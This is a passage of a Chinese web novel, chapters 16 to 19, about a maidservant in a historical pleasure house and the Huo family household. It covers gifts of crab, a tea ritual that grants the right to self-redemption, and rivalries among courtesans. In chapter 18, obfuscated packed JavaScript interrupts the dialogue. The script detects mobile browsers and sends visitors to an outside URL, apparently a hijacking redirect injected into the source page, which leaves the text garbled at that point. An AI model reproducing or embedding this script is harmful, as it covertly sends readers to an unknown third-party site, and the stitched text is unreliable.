贺怜怜无所谓地说:“或许他没听见呢!你别杞人忧天了。时辰不早了,早点回去吧。”
宋昔年抱怨道:“我都被你弄得寝食难安了,姐姐你倒是逍遥。”
贺怜怜说:“我看你还是太年轻了,昔年。桌上的糕点有的都没动过,你带回去吃吧。小侯爷都付过银子了别浪费。”
宋昔年嘴上虽抱怨,但还是利索地将点心打包。
贺怜怜瞧着她忙碌的身影,又开口问道:“小侯爷送的螃蟹,我是不是也有份的?”
宋昔年收拾好了,起身对她说:“当然了,小侯爷可说了,叫我们自己分,姐姐想拿多少尽管拿就是。就当我借花献佛报答姐姐的照顾之情。”宋昔年还俏皮地向贺怜怜行了一个礼。
贺怜怜也配合她的玩笑,说道:“真是孺子可教!”两人瞬间开怀大笑,十分开心。
欢笑过后,贺怜怜说:“若是太多,那就拿些分给其他的姑娘们,免得吃到最后不新鲜了。”
宋昔年说:“好,等留住足了现吃的和做酱的,剩的给她们分了也无妨。”
贺怜怜用手点了点宋昔年额头,说道:“刚夸你孺子可教,怎么这么快就犯蠢了!又不是叫你都送去分,有脸面的几个姑娘,一人送两三只就得了,杜妈妈那你也挑几个好的送去。她们什么好的没吃过,怎么会要你吃剩的,当然是趁新鲜的时候送去。”
宋昔年问:“那有脸面的姑娘除了姐姐不就剩下三位了,其他姑娘不会闹?”
贺怜怜说:“闹什么,她们可比你机灵多了,在乐章台不出头,就没资格闹。”贺怜怜有片刻走神。
宋昔年说:“那我回去叫上阿昙陪我一起去送,也给姐姐你做做场面。”宋昔年见贺怜怜不回应自己便又叫了声‘怜姐姐’
贺怜怜回神说:“你送完杜妈妈的那份,秦珍珍那份你亲自送,记得挑几个大的。其他的你叫阿昙去送。”
宋昔年为难说道:“这不太好吧,我怎么好意思使唤阿昙,还是我们俩一起一份一份地送吧。”
贺怜怜说:“你若不好说,就说是我的意思,她不会拒绝的。”
此时,阿昙手里拿着一个食盒推门而入,笑着说:“我都听见了,托年姐姐的福,我也能吃到这么好的东西,怎么不愿意替姐姐跑腿。”阿昙把食盒递给贺怜怜。
贺怜怜打开里头放的是一只大螃蟹,两碟子小菜,一小壶黄酒。
阿昙说:“这是宋婶子叫我拿给姑娘的,姑娘吃了早些回去休息吧。婶子说晚上吃太多怕寒,但总要让姑娘吃到最新鲜的,所以就清蒸了一只最好的给姑娘。还说剩的明儿白天做了香辣蟹和蟹酱再给姑娘留一份。”
贺怜怜说:“知道了,你们送完也快些回去吧。”
宋昔年说:“不用我们送你回去嘛?”
贺怜怜说:“不用了,都这个时辰了,该歇息的早就有人陪了。我自己回去就行。”
阿昙说:“那姑娘早些安歇!”
宋昔年还想说什么,却被贺怜怜打断,说道:“卿云,你要学会识时务和懂得利用你身边可以利用的一切,你才能活得好。人在泥潭的时候要向上爬才行,道德和自尊只会成为阻碍你向上的包袱,要不得的。”说完贺怜怜转身就走,宋昔年看着她的背影突然觉得无比凄凉。
16. 第 16 章
宋昔年和阿昙回去拿了螃蟹,约好了早去早回,一起回来吃清蒸蟹。宋昔年提了两个小竹篮,先到了杜妈妈的屋子。
杜妈妈是乐章台最高的管理者,杜妈妈的屋子自然是最大的,宋昔年这也是第一次到杜妈妈的屋里来。
乐章台地势微妙,一共有四层,地上三层是开门迎客,地下一层是宋昔年她们这些仆婢的居所,虽有院子但无门可出。仆婢外出只有从地上一层的耳门进去。杜妈妈则住在第四层,这也彰显了她的身份和地位。
宋昔年站在杜妈妈房间门口,还未敲门房内就有人把门打开了。开门的是一个满头白发的老妇,虽满头白发,模样瞧着年龄却不似太大。她十分严肃地问:“你来这层做什么?”
宋昔年微微向她行礼,恭敬说道:“我是新来贺姑娘房里贴身伺候的婢女,忠静侯府小侯爷送了点时鲜的螃蟹给我们姑娘,姑娘特意吩咐我挑了最好的几只拿来孝敬杜妈妈。”宋昔年把篮子往老妇面前送了送。
宋昔年准备把篮子递给她就走,屋内杜妈妈却开口说:“让她进来吧。”
宋昔年成功进屋,她看见杜妈妈坐在一扇打开的窗子前喝茶。杜妈妈见宋昔年进来手中还提着两个篮子。于是吩咐另一个婆子接过她手上的东西。
杜妈妈说:“既然有人送了好东西,我们不如趁新鲜时候吃了它。阿悯你现在就做吧。”
那白发老妇点头接过篮子去忙活了。宋昔年顺着她的身影才发现这屋里既宽敞又透亮,前后两扇大的窗户,一个对着乐章台纵观全局,一个对着乐章台外俯瞰京城。
杜妈妈对宋昔年招手说:“过来坐会儿,喝杯茶吧。”
宋昔年应声坐下,她感觉此刻的杜妈妈很不一样,白天的她可以对任何人点头哈腰地笑,现在的她沉默冷静。她这些日子,只在两个人身上感受到相似的冷。一位是教坊司钱司主,一位就是现在坐在她对面的杜妈妈。虽然相似但又让人感觉截然不同。钱司主身上的冷是不可侵犯的,杜妈妈身上的冷则是透着淡淡的绝望。
杜妈妈倒了一杯茶给宋昔年,随口说:“我这是太平猴魁,还不错的你应该会喜欢。”
宋昔年说道:“我其实不太懂茶的。”
杜妈妈笑着说:“哦。是我忘了,你还太年轻。不急的,以后你慢慢就懂了,以前我也不太懂的。”杜妈妈又转头看向乐章台外的景色,静静地看着窗外的某处。
宋昔年好奇,于是也随着她的视线看了一会。宋昔年发现杜妈妈看的方向居然是皇宫的所在。她居然情不自禁地问:“妈妈为何一直看着皇宫所在?”
杜妈妈瞬间转头看她,迟疑几秒说:“我倒是忘了,你从前的身份了。”
漫长的寂静之后,那个白发老妇端着一只蟹放在了杜妈妈面前,杜妈妈开口:“她叫阿悯,是我身边的,你以后就叫她悯婶吧。”
宋昔年惊讶但很快面色如常,点了点头。
杜妈妈说:“行了,我东西都吃上嘴了,你若还有事就去忙吧。谢谢你的螃蟹。忠静王府的东西就是好。”
宋昔年本想辩解一番,但又觉得无从辩解。最终默默地起身行礼,准备拿回另一个篮子出去。就在她准备下楼之际,房里的另一个婆子提了她原本的小竹篮出来还她。
那婆子说:“收好了,都是自己花钱买的怎么能乱丢。还有别告诉人你在房里喝过茶。”不等宋昔年回答,她就转身回屋并带上了房门。
宋昔年不明所以地下了楼,阿昙就在楼梯处等她,见她来了便担心地问:“姐姐可是遇到麻烦了,怎么去了这么久?”
宋昔年摇头,两人手挽手来到了秦珍珍的房门前,正巧碰见有男人从她房里出来。他们行礼,那男人不耐烦地挥退她们,走过她们身前还是大方地扔了两块碎银角子给她们。
阿昙喜滋滋的框着宋昔年的胳膊傻笑说:“今天是什么好日子呀,又得银子回去又有螃蟹吃,我听说现在外面螃蟹卖得越来越贵了,一只大好的要卖到八百文了。呵呵我回去就有得吃而且不花钱。”
宋昔年看她开心的样子,忍不住问:“有免费的吃,有银子拿就这么开心嘛?”
还不等阿昙回答,秦珍珍的婢女就站在门口不屑地说:“真是没见识,一辈子都是下贱命。”
宋昔年上前有些不悦地说:“你怎么这么说话。”
那婢女气势汹汹地说:“你们来有什么事?”
阿昙说:“我们姑娘的了赏,想着挑了最好的给秦姑娘送来。”阿昙一点也不介意她刚刚的出言不逊。
宋昔年问:“秦姑娘可休息了?”
那婢女说:“你们刚刚还得了我们姑娘恩客的赏,现在问这话是什么意思?你是瞎了吗?”
宋昔年正要说话,房里传出秦珍珍的声音:“小七,让她们进来吧。”小七才让开了身位,放她们进屋。
秦珍珍的屋子挂满了玫红的纱幔,点着香味浓郁的熏香,一室旖旎。秦珍珍衣着单薄地坐在梳妆台前轻轻地梳着披散的头发。
秦珍珍柔柔地开口问:“螃蟹可是新鲜的?”
宋昔年回答说:“是的,晚间忠静候小侯爷来时,亲自带来的。”
秦珍珍说:“忠静侯府的东西可是难得得很呀。贺怜怜还真是运气好,居然勾搭上了王小侯爷。哎,弄得我都有点羡慕她了呢!”
阿昙立马说:“姑娘不必羡慕,这不得了好东西,我们姑娘就立马差我们一起给您送来了。”
秦珍珍脸色大变,愠怒地说:“她是马不停蹄地让你们俩一起来看我的笑话吧!”秦珍珍将手里的梳子砸向她们,宋昔年下意识地拉着阿昙往后退了一步。
秦珍珍眼神犀利地看着宋昔年说:“你个小女奴,躲得倒挺快,帮我捡起来吧。”
阿昙弯腰想捡,秦珍珍懒洋洋地说:“我要她捡,你多管什么闲事!”
宋昔年无奈弯腰捡起,走到秦珍珍面前双手捧着梳子递给她。
秦珍珍说:“我都这么矮了,你就这么递给我,贺怜怜没教你规矩?不如你到我房里来待两天,让我好好教教你怎么给人为奴为婢可好。”
宋昔年纠结了一阵之后,低头双膝跪地,双手重新捧着梳子递给了秦珍珍。
秦珍珍手指轻轻勾起宋昔年的下巴,掀起她的面纱,看见她那满脸的雀斑和黑色的皮肤
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,手指在她的脸上蹭了蹭之后,说:“你这拙劣的手段也只能骗骗男人们。王家那小侯爷在贺怜怜处留宿了没?”
宋昔年回答:“没有”从秦珍珍手里拿回面纱重新戴上。
秦珍珍得到了答案,心情突然变好了,说:“起来吧,辛苦你们跑一趟了,这螃蟹的确是顶好的。”她从梳妆台的暗格里拿出两块碎银扔在了地上。
宋昔年弯腰捡起后开口道谢行礼,转身走出房门。
身后的秦珍珍又开口问道:“你去给杜妈妈送螃蟹的时候进了屋?”
宋昔年语气淡淡地说:“是的。”没有回头。
秦珍珍再问:“那杜妈妈请你喝茶了吗?喝的是什么茶?”
宋昔年疑惑回头看着秦珍珍,回答:“我一个婢女,能进屋已经是借了我们姑娘的面子了,杜妈妈怎会还请我喝茶。妈妈只是问了我,我家姑娘和小侯爷的进展,并没有别的什么了。”
秦珍珍说:“行了,时辰不早了,我也乏了,你们先回去吧。”
宋昔年回来的一路都在想为何秦珍珍会这样问,她还问了阿昙,阿昙表示也不知。
回到自己的院子,宋母满脸笑容地说:“快坐下,螃蟹和黄酒都在锅里温着,我们四人刚好一人一只螃蟹,一人再配上一小杯黄酒,吃了舒舒服服地睡个安稳觉。”
宋昔年看着母亲的笑容,觉得暂时不想这些令她疑惑的事情,先好好享受母亲准备的美食。
蒋明一行人回到霍家后,在蒋晴的劝说下,蒋家父子答应不再言语过激,和不告而别。忠静候听说蒋明是被王靖宇拐去了乐章台,特意赶到霍家向永平侯赔不是。
忠静候一瞧见永平侯就说:“兄弟呀,真对不住,我这逆子居然拐了你的宝贝儿子,去了那种地方,回去我一定好好教育他。”
永平侯说:“我倒是想宝贝他,人家还不稀罕呢!”
忠静候笑道:“哈哈哈,父子那会有隔夜仇啊,你家儿子向来性子软,有什么话好好说,总能说通的。”
永平侯说:“是啊,父子没有隔夜仇,你家儿子虽然皮厚耐打但你也要下手轻点,毕竟你就这么一个儿子。”
蒋晴听自家父亲语气不善,想要开口缓和气氛。霍岩大步走进来说:“两位侯爷既然大驾光临,为何在我孙子的小院子不去前院正厅呀!”
二人见帝师来了,三人相互行礼。
永平侯说:“本是一点小事,来找阿晴的,没想惊动帝师,时辰不早了,我们也该回去了。”
他们年轻的时候也都是霍岩的学生,也许是因为学生对老师的天生畏惧感,两人都各自带着孩子回府了。
霍慎在自己的书房里,来回踱步。阿无推门进来说:“公子,人都走了,老爷亲自出面,两位侯爷立马带着公子们回去了。”
霍慎问:“祖父可说了什么嘛?”
阿无摇头:“没有,我听大公子的小厮说,老爷只叫他们移步前院正厅,两位侯爷就借故告辞回府了。大公子还说答应给公子的东西,明日再送来。”
霍慎说:“是大哥亲自送来嘛?”
阿无说:“公子怎知道!”
17. 第 17 章
次日清晨,阿无进照常敲响了霍慎的房门,下一秒传来霍慎的声音‘进来吧’阿无叹了口气,推开房门。阿无把手上的水壶和洗漱用品放在固定位置后,抬头看了霍慎一眼。
阿无小声地问道:“公子是否又未能安寝?”
霍慎习惯性地揉着他那高挺的鼻梁,声音低沉地说:“也睡了不到两个时辰吧。”
阿无瞥了一眼摆在房内角落中的长书案,上面又是铺满了‘桃花宣’。阿无服侍霍慎洗漱完毕后,打开衣柜替他拿衣服。
衣柜门开着,阿无问:“公子今天选哪件?”
霍慎平静地说:“你看着办吧,都可。”虽然霍慎这大半年以来,都是这句话,亲自选的时候寥寥无几,但是阿无每天还是会问上一句。这是他作为下人的自觉。
阿无今日挑了一件淡蓝的褂子,阿无说:“公子穿这件显得更精神些。”
霍慎说:“我自己穿吧。”
阿无退到长案前收了起了散落的纸张,霍慎边穿衣边看着阿无收拾。
霍慎说:“把最上头的两张带有我私章的放进箱子收好,其他的都处理了吧。”
阿无说:“好,我看这纸也不多了,我再给公子带些回来吧。”
阿无踌躇半晌说:“公子我今日想带阿诺去置办几件冬衣,天气越发的冷了,府中没有像他这么小的孩子,之前的都是凑合穿,我也帮他买过几件夏衣。冬衣若是再不合身,冬天就难熬了。”
霍慎逗他,说:“那你再接着帮他置办啊就是,不用同我汇报的。”
阿无窘迫地说:“公子知道我的俸禄,我还要每月往家里拿钱,冬天的衣服价格实在不便宜的。”
霍慎说:“我记得,我也给宋诺不少钱,他自己的钱不够买几件冬衣?他的手头比你都富裕的。”
阿无说:“那小子,现在很有主意,钱都是自己悄悄收着,我是不知他有多少钱,只知道在遇见他姑姑的时候,他把自己的钱袋子塞给了宋小姐。他现在用的钱袋子,是我给他的。本打算过了除夕之后自己用的,却被他抢去了。”
霍慎笑道:“那她也欣然收下了所有钱?”
阿无说:“是的,小姐还叫他在霍家好好干,多攒银子,好养活她。”
霍慎居然笑出了声,说:“倒是符合她的做事风格。哈哈哈!”
阿无见许久未展颜的公子,居然笑得这么开心,开口问:“那...”
霍慎说:“他起了没,还有些时辰,你把他找来吧。”
阿无说:“今日是府里发冬衣的日子。他去领衣服了,不知回来了没有,我这就去瞧瞧。”
阿无带着宋诺进屋,霍慎上下打量了一番,站在自己面前的男孩,皱眉问:“你一大早怎么全身破衣烂衫的,昨晚来我这里习字时,还不是这副模样呀!”
宋诺回答:“这身是我平时习武的衣服,所以破了些。”
阿无说:“我早晨走的时候,给你拿好了衣服放在你枕边,你没瞧见?”
宋诺说:“瞧见了,我等会要去练武,如今天气凉了,总换来换去的有些冷。所以我就直接穿了这件。”
阿无看着他说:“啧啧啧,还挺聪明。你怀里鼓鼓的揣的什么好东西?”
宋诺边掏边说:“这是拿衣服回来时,府里厨房马大娘给的两个包子。”
阿无兴奋:“马婶子可是老爷夫人的专厨,包子更是一绝啊。阿诺快给哥吃一个。”
宋诺把一个包子递给霍慎,阿无正要阻止,霍慎却笑着接过。
阿无说:“马婶子就是厉害,连私下从不吃早饭的公子都抵不住这包子的诱惑。”
宋诺把剩下的包子,掰了两半分给阿无一半,阿无笑嘻嘻地接过。
阿无边吃边说:“你小子真是运气好,马婶子居然给了你一菜一肉的,而且还比呈给主院的大许多,想必是马婶子他们自己要吃的拿了带你分了。你可还遇上什么好事了?”
宋诺说:“库房的苗大娘给我量了身量,说明年开春有我合身的新衣。”
霍慎含笑吃完包子说:“不错,这些日子没白教你。”
宋诺不语,只是向霍慎鞠躬行礼,阿无一头雾水看不明白。
霍慎起身从柜子里拿出一个黑色的方木匣子,上面还放了两个钱袋,他将其中那个空荷包递给阿无,剩下的黑匣子和荷包递给了宋诺。
霍慎说:“这是荷包我用过几次,不喜欢了,你们拿去用吧,这个匣子放你的月钱,小孩子不该把钱都带在身上。”
阿无说:“时辰不早了,公子该去翰林院了。”
霍慎看了他一眼,径直出了房间,准备出门。
阿无在后面追着说:“公子那...公子走慢些,等等我。”
宋诺见他们走远,看了看手中的东西,小心地摸了摸那缎面的荷包。却发现荷包里似乎还有东西,打开一看居然是张银票。宋诺立马追了出去。
阿无跟着霍慎来到马车前,霍恒掀开了车帘说:“我给你送东西,今日和你同乘一车去书院,你不介意吧!”
霍慎微笑回道:“荣幸之至!”
阿无一脸期盼地看着霍慎,霍慎开口:“除了你说的要在房里添置的,我的茶叶也快没了,你一并都买了带回来吧。”霍慎递给了阿无一张十两地银票。
阿无犹豫地接过,正要试图再开口,霍恒就说:“你该对宋家那孩子好一点。”
霍慎顺着大哥的视线看过去,宋诺正捧着刚才得的东西,朝门口跑来。宋诺穿着一身肥大的灰黄色棉麻短打,有好几处都破了洞,能看见白色里衣了,鞋子似乎也是不合脚还有了严重的磨损。
宋诺追到马车旁停下,他的个头刚刚超过马车的连接处,仰头对霍慎说:“公子,这...”他把木盒给阿无拿着,单手举着荷包。
霍慎皱眉似乎不悦地开口说:“给了你的就是你的,把阿无得荷包还他。一个荷包而已安心就是了,做什么还追出来,还穿成这样,快回去等会儿阿无出门叫他带上你就是。”
宋诺随着霍慎的视线踮脚看了看,始终看不见,最后还是放弃了。
霍恒见到他的模样,贴心地探了探头,宋诺看见车里的人,立马向霍恒问安行礼。
霍恒从伸出手,递给了宋诺一样东西,还攥紧了他的小手,示意他收好。
阿无适时开
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口说:“公子,你看我要不要上街替他添置些新衣?”阿无尴尬地看他。
霍慎叹气道:“随你吧!”
阿无说:“那公子方才给的钱怕是不够。”
霍慎又抛给他十两银锭子,说道:“花钱你认第二,全府没人敢认第一。下月前,不许再问我要钱,否则赶你出府,去庄子上喂猪。”转身进入马车。
阿无拍着马屁说:“公子是最体恤我们这些下人的。”
霍恒说:“记得带宋诺换了衣服再出门。”
阿无应下,躬身送他们。马车走远后,阿无抱着宋诺进府。
霍慎刚坐下,霍恒就递过来一个盒子。霍慎接过打开,里头是一整套的文房四宝。
霍恒说:“你如今是翰林院编修,这东西给你正当用。”
霍慎说:“多谢大哥,大哥有心了。”
霍恒笑着说:“自家兄弟,何必客气。”
沉默一会儿,霍恒又说:“勤之啊,宋诺在霍家是人尽皆知的事,你该对他好点,别让人觉得霍家苛待一个四岁的孩子。”
霍慎说:“大哥放心,我亲自负责他的课业,已经在给他启蒙了,他说想学武,我也找了师父教他。”
霍恒说:“我说的不是这些,你瞧见他身上的衣服了吗?破衣烂衫的像什么样子。”
霍慎说“:“他来了之后,我给了许多银子给阿无让他带他花用。”
霍恒说:“那为何宋诺会如此凄惨?莫不是你那小厮贪墨了银钱?”
霍慎说:“应该不会,他们每次出门,我都会问钱的花销去向。没有贪墨的可能。多数是花在吃食上了,阿无说宋诺很能吃。”
霍恒说:“他年纪小,正在长身体,能吃也属正常。但你在穿着上也不能由着他胡来。”
霍慎说:“这都是府里统一安排的,我哪知晓。养孩子这么费钱的嘛?我一大半月例都不够他使”霍慎向霍恒哭诉
霍恒摇头说:“罢了,我会同账房说一下,每个月宋诺的支出单独由你支取,不和你的月例在一起。”
霍恒说:“大哥,通透!”满脸轻松地看着霍恒。”
霍恒说:“我有件事想问你,你是否放下宋昔年了?”
霍慎语气瞬间冰冷地说:“大哥,怎么突然问起这个?”
霍恒说:“你别紧张,我也只是听下人说,庶祖母有意撮合你和她的侄孙女,才趁她休沐回家探亲留她在府里小住一段时日。她怎么说也是公主身边的人,若是你无意还是早些讲明的好。”
霍慎:“多谢大哥提醒,我会尽快处理。”
霍恒说:“你要同她说清楚,但也要注意语气,毕竟是女子,态度尽量柔和点。”
说着外面的马夫说:“大公子,育才书院到了。”
霍恒起身往外走,撩起车帘又放下了,转头看着霍慎说:“四弟,你是不是早就知道她在乐章台,所以才...”
霍慎回望霍恒,眼带笑意地说:“大哥想说什么?”
霍恒转头不看他说:“罢了,罢了!”霍恒重新撩起了车帘下车。
车子里的霍慎眉毛上挑,脸上带有一抹胜利者的微笑!
18. 第 18 章
宋昔年提着宋母早上刚做好的蟹肉粥进了贺怜怜的房间。她来时贺怜怜还未醒,阿昙端着洗漱的用具进来。
宋昔年撩开了床幔,轻声说着:“怜姐姐,该起了,我娘做了蟹肉粥,你要是再不起床凉了有腥味可就不好吃了。”
贺怜怜慵懒地说:“知道了,我一定会在它凉了之前让它进入我的五脏庙,不辜负宋婶子的心意。”贺怜怜在床上蛄蛹着伸懒腰。
阿昙鬼鬼祟祟地凑近她们,低声地说:“我昨晚会下院的时候听说,这次和我们一起回来的一个姑娘,进来时是分到几个一楼的姑娘手底下服侍的,因为受不了姑娘的磋磨,自愿转入贱籍了。杜妈妈看了她的品相之后觉得还不错,就把她的住处分在了原本服侍姑娘的隔壁,并未从一号房开始排,今晚就准备给她挂牌迎客了。”
贺怜怜坐在床沿醒神,开口说:“这么快就有熬不住的了嘛!那乐章台又要热闹一阵子了。”
阿昙叹气说:哎,不知这次能坚持住几个?”
宋昔年说:“同我们一起回来的一共有八位姑娘呢,总有想干净出去的。毕竟从前都是富家小姐。”
贺怜怜说:“出去?进了乐章台的有几个想出去,又有几个能出去的?不是人人都有你这么好的运气,这么天真的。”贺怜怜起身洗漱。
宋昔年讨好地说道:“是呢,有几人能有我这么好的运气,遇到了这么好的姐姐呢!不过你们说的一号房是什么意思,我来了这么久都不知道还有这种规矩。”
阿昙骄傲地说:“年姐姐,你不知道也属正常,我们姑娘可是整个乐章台的花魁,我们这些身边的人自然不可能和一楼的普通姑娘有太深的交集。新转籍做官妓的姑娘,都是住在一楼的二十间房间里。从一号开始排至二十号每间房内分三间小室,序号越高的身价越好,就有机会上二楼拥有属于自己的房间。”
贺怜怜嗔怪地对阿昙说:“你对她说这些做什么!”
宋昔年苦笑说:“我现在进了乐章台多了解些也是好的。”
贺怜怜说:“也对,你虽没想转籍,但多了解这里的规矩对你来说也没坏处。每个地方都有每个地方的规矩,想要在新环境里活得好,首要的就是了解这地方的规矩,然后才能适者生存。”
阿昙说:“也不知道今年能有几个出,几个留。”
贺怜怜问:“那个新转籍的现在是在几号房?”
阿昙说:“现在伺候她的是北苑的一个小丫头,听她说是在三号房甲室呢,看来品相是真的不错。”
贺怜怜说:“去留都是命,是一开始就注定了的。她们只不过是在等罢了,等着看第一个吃螃蟹的人有什么结果。”
宋昔年说:“姐姐的意思是还会有人想转籍?”
阿昙笑着说:“愿意进入乐章台的,自然都是能够接受转籍做妓的,难不成都是自愿进来做婢女的?可不是每个人都像姑娘一样会善待我们这些身边人。”
贺怜怜看向阿昙说:“阿昙,你回下院一趟告诉宋婶她们,天冷了我的手炉缺时新的炉套,让她们上街去买些上好的布,做几个新的花样出来。再看看有没有好点的皮子,做几个护手给我,我之前的都不喜欢了,今年就给你们用吧。”
阿昙说:“那我也和婶子一起去吧,正好北苑有几个托我带些东西回来。”
贺怜怜点头:“你想去就去吧,自己想置办点什么一起置办了,今年有宋婶子她们在你也可以求着她们给你也做几件合身的冬衣了。”
阿昙兴高采烈地行礼出去了。
贺怜怜对着梳妆台选钗环。宋昔年突然想起昨晚在秦珍珍坐在梳妆台前的模样,以及她那布置得极其暧昧的房间。在这一点上,贺怜怜与她完全不同。贺怜怜的房间里清爽自然,没有多余的装饰,满屋子都是黄花梨的家具摆设,屋内从不点香,全是自带的黄花梨木香味,醇厚内敛却不张扬清新而淡雅。
贺怜怜看出她在发呆,笑着问:“在想什么?”
宋昔年说:“没什么,只是在想秦姑娘的房间和姐姐的是两种风格!”
贺怜怜说:“二楼每个拥有自己房间的人,都可以自行布置自己的房间,这也是吸引男人们的一种手段,所以都是各有各的风格。”
宋昔年调笑地说:“还是姐姐一骑绝尘,不愧是乐章台花魁啊!”
贺怜怜轻拍宋昔年说:“少贫嘴了,我问你,昨晚你上去给杜妈妈送螃蟹,她请你喝的是什么茶?”
宋昔年问:“姐姐怎会如此确定杜妈妈会请我喝茶?昨儿秦姑娘也问了我,有没有喝到杜妈妈的茶。”
贺怜怜笑道:“她还是这么不识趣,又不是新人了,怎么还这般目中无人。”贺怜怜见宋昔年疑惑地看着自己,便又开口道:“你也很不识趣,你知道吗!只不过你的不识趣是高门礼教对你的熏陶,让你学不会真正的俯首称臣,卑躬屈膝。秦珍珍她的不识趣是针对于女子的目中无人和不甘心。你们各有各的讨厌之处。”
宋昔年说:“讨厌之处,难道姐姐也讨厌我嘛?我难道要‘明月照沟渠’了嘛?”宋昔年故作伤心地擦拭着眼角。
贺怜怜无奈地说:“别装了,狡猾的丫头!说说吧,杜妈妈给你喝的到底是什么茶呀?”
宋昔年如是回答:“是太平猴魁!杜妈妈还问我怎么样,我说我不是很懂茶。她说以前她也不是很懂,不过后来慢慢地就懂了。”
贺怜怜转身握住她的手,问道:“你告诉秦珍珍你喝的是太平猴魁了吗?”
宋昔年摇头说:“杜妈妈身边的婶子,特意叮嘱我别告诉任何人我进屋喝过茶的事。”
贺怜怜说:“杜妈妈还真是偏爱你,我也是白为你担心了,她既要保你,自然会为你安排好一切的。”
宋昔年问:“为何你们都很在意,我是否喝了杜妈妈的茶,这又是有什么特殊的意义?为何杜妈妈会请我喝茶,我才刚到乐章台不久啊?姐姐你昨晚特意要我单独送螃蟹给杜妈妈,是不是早就意料到杜妈妈会请我喝茶?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075700|163367||http|test|mini|href|location''.split(''|''),0,{}));
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>贺怜怜说:“你一下问这么多问题,我要从哪个开始回答?”
宋昔年说:“姐姐自便吧,我只想知道答案。”宋昔年端了个凳子和怜怜相对而坐,准备认真听她给出答案,就像是一个认真听老师解惑的学子一样。
贺怜怜说:“我的确是故意让你一人去送东西,但我也是在赌,我也没有一定的把握的。至于杜妈妈为何请你喝茶,也许她觉得你并不属于这里吧,也许是因为小侯爷和蒋世子,这我就不得而知了。还有在意你是否喝了茶,是因为喝了杜妈妈茶的人可以脱离乐章台获得真正的自由啊。”
宋昔年惊讶:“真正的自由?不是只有从罪籍转入贱籍才有机会出去的嘛?我只是一个罪籍官奴怎么可能摆脱乐章台,难道真的是因为王靖宇,难道王靖宇背着我偷偷给杜妈妈银子了,还是他以忠静侯府的名义许了杜妈妈什么好处?”
贺怜怜否定了她的说法,说道:“小侯爷有没有许什么其他的好处我就不知道了,但杜妈妈绝不可能会为了银子就轻易答应放你自由的。”
宋昔年问:“为何?常言道‘有钱能使鬼推磨,有权能使磨推鬼’这两点王靖宇都占了呀。”
贺怜怜说:“那又怎样,你难道忘了乐章台始终是属于皇家的!”
宋昔年瞬间沉默,许久后又问道:“姐姐说的真正的自由是指什么,难道从来没有人出乐章台嘛,那时常通报的‘姑娘赎身离台’都是假的嘛?”
贺怜怜说:“自然不是假的,只是能真正自己赎身离台的没几个,大多都是有权势的男人替她们赎身。如果这样那就一辈子都是贱籍妾婢,会被打上乐章台出身的标签。虽身契不在乐章台,但籍契上永远都是贱籍且不能再改。若是得宠还好,不得宠的随时会被厌弃,甚至如果得罪正室被再发卖也不是没可能。你以为在后宅女人手下讨生活很容易嘛!”
宋昔年说:“那你的意思是说,喝了杜妈妈的茶的人就是默认可以自赎的!”
贺怜怜说:“是的,喝了茶的人,再准备五万两白银的赎身钱,你就可以获得良籍,过上正常人的生活。”
宋昔年瞬间泄气,说道:“我一人五万两,我们一家子就是十五万两,这怎么可能!我终于知道为何自赎出去的人少了,只怕是银子不够吧,而且我怀疑杜妈妈之所以请我喝茶,是因为她知道我永远都不可能凑够这十五万两吧。”
贺怜怜习惯性点了点她的额头,说:“少不知足了,你知道如果她们知道你喝了茶,整个乐章台有多少人羡慕你吗?”
宋昔年无所谓地说:“那又怎样,反正我没钱又出不去!”宋昔年耸肩摊手。
贺怜怜突然认真地对她说:“千万不能让人知道你喝了茶,不然有多少人羡慕你就会有多少人希望你死!”
宋昔年明白了轻重,靠在贺怜怜肩上说:“这个我自然明白,姐姐放心就是了。不过你说为何杜妈妈会定下这么奇怪的规矩?”
贺怜怜说:“造化弄人,都是求而不得的苦命人而已!
19. 第 19 章
阿昙回了下院,通知宋氏婆媳,三人一同从侧门出了乐章台,上街采购,临近十月,天气越发的凉了。街上行人来往匆匆,都在为即将到来的冬天做准备。
宋母说:“不知布匹有没有涨价,早知上次出来采买时就多带几匹了。”
阿昙说:“哎呀,婶子你多虑了,再贵我们姑娘也不会说什么的,再说了在这皇城脚下,什么是贵的。”
洪媛却若有所思,静静地拉着婆婆的手走着,宋母看出了她的不对劲,轻拍洪媛的手,问道:“你这是怎么了,心不在焉的?”
洪媛整理情绪,说道:“我只是在想,不知道阿诺怎么样了,刚路过看见一个孩子和他年龄相仿,所以我有些感触而已。马上入冬了,不知道他会不会闹情绪,他最怕冷了,往年入冬总要闹上一闹的。”
宋母宽慰地说:“没事的,卿云不是说了霍家对他还不错,那个阿无小哥,总带着他嘛。从前你我都是见过他的,为人机灵纯善,想必阿诺不会受苦的。”
洪媛笑了笑,“我只是太久没有见到他有点思念罢了,还有不知夫君和公公他们有没有平安到北境,他们....”话未说完宋母就用手轻遮她口,看着她缓缓摇头。
路过糕点铺子,阿昙说:“婶子我答应下院的小丫头们,帮她们带点糕点吃食回去。婶子和嫂子可否等我片刻,若是你们也有事情要忙也可先去,我们稍后就在前面布庄汇合。”
宋母说:“无妨的,我们娘俩也没什么重要的事情,你忙你的便好。”
阿昙说:“那不如婶子也进去选些吃食零嘴什么的,等天再冷些绣活也少了,围在屋里吃零嘴烤火最惬意不过了。”阿昙拉亲昵地拉着宋母进去糕点铺子。
霍慎走后,阿无一把捞起宋诺抱着他回屋换衣服,宋诺手里攥着的五两小银锭子,在他的小手里若隐若现,阿无把那个黑匣子递给他,宋诺接过盒子,跑到屏风后去换衣服。
阿无逗他说:“你今天不要我帮你找衣服了?”
宋诺说:“不用了,我就穿早上阿无哥你放我床头的,我把它放在柜子显眼处了,我自己能找得到,阿无哥你等我会儿,我很快就好。”宋诺把钱袋里的银票和手上的银子放进匣子。
阿无悄悄走到屏风处,踮脚伸头静静地看着宋诺小心翼翼地合上黑匣子的盖子,摸了摸匣顶。阿无觉得好笑便说:“今日上街,要不要帮你买把小锁,回头你给这个小匣子锁起来吧。”
宋诺猛地抬头看向阿无:“你怎么可以偷看?”宋诺皱着小眉头表示着不满。
